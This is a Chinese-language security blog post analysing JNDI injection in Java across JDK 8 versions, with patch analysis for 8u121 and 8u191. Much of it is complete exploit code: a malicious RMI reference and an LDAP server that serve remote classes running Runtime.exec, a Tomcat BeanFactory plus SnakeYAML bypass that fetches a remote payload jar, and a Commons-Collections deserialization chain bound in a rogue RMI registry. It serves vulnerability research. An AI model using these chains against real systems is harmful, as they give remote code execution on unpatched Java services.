azraelxuemo's Studio.

jndi注入

2023/11/26

概述

Java Naming Directory Interface,Java命名和⽬录接⼝,是SUN公司提供的⼀种标准的Java命名系统接⼝。
通过调⽤JNDI的API,应⽤程序可以定位资源和其他程序对象。
JNDI可访问的现有⽬录及服务包括:LDAP(轻型⽬录访问协议)、RMI(远程⽅法调⽤)、DNS(域名服务)、NIS(⽹络信息服务)、CORBA(公共对象请求代理系统结构)
image.png

影响范围

image.png

121之前

exp

服务端

1
2
3
4
5
6
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("aa", "exp", "http://127.0.0.1:8000/");
#这里第一个参数是className随便填就好,后面是根据第三个参数Location加上第二个参数FactoryName进行远程加载
#这里最后请求的就是http://127.0.0.1:8000/exp.class
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",reference);

客户端

1
2
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/test");
1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;

public class exp {
static {
try {
Runtime.getRuntime().exec("code");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

分析

主要处理逻辑就是getObjectFactoryFromReference这个函数
截屏2023-11-26 09.54.34.png
这里的factoryName就是服务端注册时候写的factoryName,最开始使用AppClassLoader去加载,因为都是随便写的类名,肯定加载不出来
截屏2023-11-26 09.56.47.png
然后如果这里我们的FactoryClassLocation不为空,这个也是服务端注册时候写的http地址,那么他就会用URLClassLoader进行加载
截屏2023-11-26 10.24.41.png

121-191

修复措施

从8u121开始进行了修复,这个版本的修复措施是在rmi里面加了一些限制
在rmi的RegistryContext里有一个trustURLCodebase,默认是false
截屏2023-11-25 18.25.35.png
如果发现FactoryClassLocation不是空,那么只有当trustURLCodebase为True才会进入NamingManager.getObjectInstance进行远程加载,不然就会报错
截屏2023-11-25 18.27.22.png

绕过

rmi这里的口子被堵住了,但是通过前面分析我们可以知道,真正的加载逻辑是在NamingManager.getObjectFactoryFromReference里面做的
一共有两个地方都调用了getObjectFactoryFromReference,一个就是我们rmi里面的NamingManager.getObjectInstance
截屏2023-11-26 09.39.30.png
还有一个就是ldap里用到的DirectoryManager.getObjectInstance,可以看到ldap里面仍然可以进行加载逻辑
截屏2023-11-26 09.34.16.png

exp

那么我们使用ldap进行攻击

1
2
3
4
5
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>5.1.4</version> <!-- Use the latest version available -->
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


import java.net.InetAddress;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

private static final String LDAP_BASE = "dc=example,dc=com";
private static int PORT = 7777;


public static void main ( String[] tmp_args ) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
PORT,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + PORT); //$NON-NLS-1$
ds.startListening();

}

private static class OperationInterceptor extends InMemoryOperationInterceptor {
private static String URI="http://127.0.0.1:8000/";


@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);

System.out.println("Send LDAP reference result for " + base + " redirecting to " + URI+base+".class");
e.addAttribute("javaClassName", "foo");

e.addAttribute("javaCodeBase", URI);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory",base);

try {
result.sendSearchEntry(e);
} catch (LDAPException ex) {
throw new RuntimeException(ex);
}
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));

}

}
}


客户端去连接

1
2
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:7777/exp");

分析

也是经过一系列的处理,最后来到了getObjectFactoryFromReference进行了远程类加载,后面的加载逻辑和之前的rmi都类似
截屏2023-11-26 10.38.28.png

191之后

修复措施

在8u191引入的修复方案,也算是真正意义上的修复
之前121版本的修复方案给人的感觉是,这个修复的人并不是很了解jndi背后的加载逻辑。
jndi他的处理流程大概是,先用rmi\ldap进行一个简单的信息处理,然后都统一回到NamingManager里进行加载,所以想要修复这个问题不应该放在rmi\ldap处理的逻辑里,放在NamingManager里统一拦截检查是比较合理的
又加了一个trustURLCodebase
截屏2023-11-25 22.04.33.png
他这个check机制是专门放在了loadClass处理codebase这种情况,默认情况下trustURLCodebase为false,就不允许远程加载,所以这个修复方案是彻底把ldap\rmi这种远程加载给堵住了
截屏2023-11-25 22.05.17.png

绕过

既然不允许远程加载,那就把目光放在依赖库里,看有没有可以利用的一些类
要求Factory必须实现ObjectFactory接口
截屏2023-11-26 12.03.51.png
这里把目光瞄准了BeanFactory

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>

要想进入getObjectInstance首先要保证FactoryClassLocation为null
截屏2023-11-26 12.47.17.png
所以我们先这么写

1
2
3
4
LocateRegistry.createRegistry(1099);
Reference resourceRef = new Reference("aa","org.apache.naming.factory.BeanFactory",null);
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",resourceRef);

可以看到BeanFactory成功被实例化出来,然后执行getObjectInstance方法,这个里面的obj就是服务端的Reference,那么我们需要重新构造一下
截屏2023-11-26 12.49.05.png
参数先随便写,看看需要怎么调整

1
2
3
4
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("ss", "aa", "aa", "aa", false, "org.apache.naming.factory.BeanFactory", null);
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",resourceRef);

这里的beanClass是第一个参数,要是一个类名
截屏2023-11-26 12.54.36.png
我们先随便来一个hashmap

1
2
3
4
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("java.util.HashMap", "aa", "aa", "aa", false, "org.apache.naming.factory.BeanFactory", null);
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",resourceRef);

类成功被加载,同时实例化了一个对象,这里调用的是public的无参构造函数,也就要求我们这个类必须有public的无参构造函数
截屏2023-11-26 13.11.10.png
这里ref.get就是从传入的addrs里面取,我们也加一个forceString
截屏2023-11-26 13.03.00.png
这里我们随便写个String

1
2
3
4
5
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("java.util.HashMap", "aa", "aa", "aa", false, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=load"));
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",resourceRef);

这里可以看一下大概逻辑,value先按照,分割,我们这里只有一个,然后按照=号分割,这里的propName就是=后面的load,然后param就是=前面的x截屏2023-11-26 13.22.00.png
这里相当于会反射获取一个method,参数类型为String,名字我们指定,这里是load,然后会把这个method放入forced里,key是param,这里的key是x
后面会进行一个invoke调用
截屏2023-11-26 13.23.44.png
那么大概我们可以看出来,需要的类有一个public的无参构造函数,然后可以调用一个public的参数为Str的函数
这里我们可以很容易想到snakeyaml
网上有用ELProcessor.eval,GroovyClassLoader.parseClass,GroovyShell.evaluate,这几个都可以,看具体依赖情况,我这里是用snakeyaml来打

1
2
3
4
5
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("org.yaml.snakeyaml.Yaml", "aa", "aa", "aa", false, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=load"));
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",resourceRef);

但是出现了一个新的问题,这里先取出来的是description,然后直接跳出了while的循环,然后会forced.get(“description”),但实际上method是保存在x里,所以这里的思路是我们把description传入null
截屏2023-11-26 13.30.29.png
然后这里的参数是从ra.getContent里面获取的,也就是我们需要再传入一个addr,他的名字是x,内容是snakeyaml的payload

exp

服务端

1
2
3
4
5
6
7
8
9
10
11
LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "aa", "aa", false, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=load"));
String yaml="!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
resourceRef.add(new StringRefAddr("x", yaml));
InitialContext initialContext = new InitialContext();
initialContext.bind("rmi://127.0.0.1:1099/test",resourceRef);

客户端依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.33</version>
</dependency>

分析

这里我们把description去掉之后,其他的都满足while的条件
截屏2023-11-26 15.21.18.png
出循环的时候ra刚好就是x对应的Addr,value也成功变成了我们的yaml payload,同时method也成功从forced里面取出来,然后完成invoke调用
截屏2023-11-26 15.23.16.png

通杀payload

这个通杀其实熟悉rmi的人都知道,rmi客户端stub和服务端Skeleton通信之间有反序列化的操作,所以我们也可以利用反序列化的方式直接rce(ldap也有类似的问题)
这里打的还是cc链

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Registry registry = LocateRegistry.createRegistry(1099);

ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b");
HashMap hashMap = new HashMap();
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,tiedMapEntry,"a",false,false});

Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = AnnotationInvocationHandler.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(new Object[]{Action.class,hashMap });
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);
registry.bind("aaa",remote);
for (;;){

}

这里用这个Handler的原因是因为他的参数memberValues是会被反序列化的,同时这个类型是map的话刚好可以走cc6截屏2023-11-26 16.01.22.png
这里我把这个恶意的rmi服务端打包到服务器上,客户端也会直接被反序列化
截屏2023-11-26 16.02.25.png

分析

这里简单说一下为什么这样写
RegistryImpl的bind操作就是把我们的Remote对象绑定在对应的name上,可以看逻辑是拿bindings来做的
截屏2023-11-25 12.12.16.png
截屏2023-11-25 12.17.45.png
利用反射随便先绑一个hashmap

1
2
3
4
5
6
7
8
9
 Hashtable<String, Object> myBindings = new Hashtable<>();
myBindings.put("xuemo",new HashMap());
Registry registry = LocateRegistry.createRegistry(1099);
Field bindings = RegistryImpl.class.getDeclaredField("bindings");
bindings.setAccessible(true);
bindings.set(registry,myBindings);
for (;;){
#这里加个for也是让他一直监听,不然会退出
}

客户端lookup的时候,服务端有一个强转,所以put的对象必须要实现Remote,不然服务端会直接报错
截屏2023-11-25 14.55.38.png
那我们另外找一个继承于Remote的

1
2
3
4
5
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("xuemo",new RemoteObjectInvocationHandler(new UnicastRef()));
for (;;){

}

客户端在这里反序列化的时候会报错
截屏2023-11-25 15.03.48.png
大概原因应该是我们服务端的LiveRef是空,再修改一下,这个时候反序列化ok

1
2
3
4
5
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("xuemo",new RemoteObjectInvocationHandler(new UnicastRef(new LiveRef(0))));
for (;;){

}

截屏2023-11-25 15.05.24.png
那么想想要怎么攻击呢
第一种思路,找继承于Remote的类,看看有没有能利用的,找了一圈好像没有可以利用的
第二种思路,利用动态代理
因为只要我们指定动态代理要代理的接口,那么这个动态类它就会实现指定的接口,自然也能强转成Remote
Remote的问题解决了,我们还要找一个合适的InvocationHandler,这里我们用的是cc1的AnnotationInvocationHandler,因为这个刚好也是可以Serializable

1
2
3
4
5
6
7
8
9
10
11
12
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = AnnotationInvocationHandler.getDeclaredConstructor(new Class[]{Class.class, Map.class});
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(new Object[]{Action.class, new HashMap()});
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);

Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("xuemo",remote);

for (;;){

}

可以看到确实这个动态类被实例化成功了
截屏2023-11-26 16.21.24.png
那么到这里,很多人觉得,cc1有jdk版本要求,高版本打不了,但是这里其实有另一个思路
因为字段的反序列化往往在主体readObject的开头,那么往往我们有入口要求的时候,就可以找满足要求的类作为入口,控制其中的字段为反序列化链子入口类即可
而AnnotationInvocationHandler里面刚好有一个Map类型的字段,可以利用
截屏2023-11-26 16.28.50.png
在AnnotationInvocationHandler的readObject的开头会对AnnotationInvocationHandler的具体的字段进行反序列化
截屏2023-11-25 16.21.02.png
到HashMap的readObject的调用栈,后面就是cc链了
截屏2023-11-25 16.22.25.png

CATALOG
  1. 1. 概述
  2. 2. 影响范围
    1. 2.1. 121之前
      1. 2.1.1. exp
      2. 2.1.2. 分析
    2. 2.2. 121-191
      1. 2.2.1. 修复措施
      2. 2.2.2. 绕过
      3. 2.2.3. exp
      4. 2.2.4. 分析
    3. 2.3. 191之后
      1. 2.3.1. 修复措施
      2. 2.3.2. 绕过
      3. 2.3.3. exp
      4. 2.3.4. 分析
  3. 3. 通杀payload
    1. 3.1. exp
    2. 3.2. 分析